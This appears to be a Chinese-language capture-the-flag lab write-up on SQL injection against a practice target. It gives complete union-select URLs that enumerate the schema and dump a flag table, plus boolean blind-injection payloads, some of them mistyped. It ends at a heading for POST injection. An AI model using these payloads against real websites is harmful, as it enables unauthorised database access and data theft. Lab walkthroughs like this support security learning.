显错注入

打开靶场提示显错注入,我们直接打开链接查http://192.168.165.237/control/sqlinject/manifest_error.php?id=1
image.png
我们直接加一个单引号,让它报错查看一下;
image.png
id=1’ order by 2%23成功
id=1’ order by 3%23失败
ok,查询结果为两列

基本就是通用套路,猜列名,猜字段;
image.png

  1. http://192.168.165.237/control/sqlinject/manifest_error.php?id=1%27union%20select%201,database()%23
  2. http://192.168.165.237/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
  3. http://192.168.165.237/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%23
  4. http://192.168.165.237/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(flag)%20from%20flag%23

获取flag:
image.png

直接去填写即可;

布尔注入

这个题目与上一题目极为相似;

布尔类型有两种状态,一种为真,一种为假,在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容;

  1. 1 and length(database())>=1–+ //判断数据库的长度
  2. 1 and substr(database(),1,1)=‘t --+ //判断数据库第一个字母的值
  3. 1 and substr(database(),2,1)=‘q --+ //判断数据库的第二个字母的值
  4. 1 and ord(substr(database(),1,1))=115–+ //利用ord和ASCII判断数据库库名
  5. 1 and substr(database(),2,1)=’q’–+ //利用substr判断数据库的库名
  6. 1 and substr(select table_name from information_schema.table wheretable_schema=‘sql limit 0,1),1,1)=‘e --+ //利用substr判断数据库的表名

post注入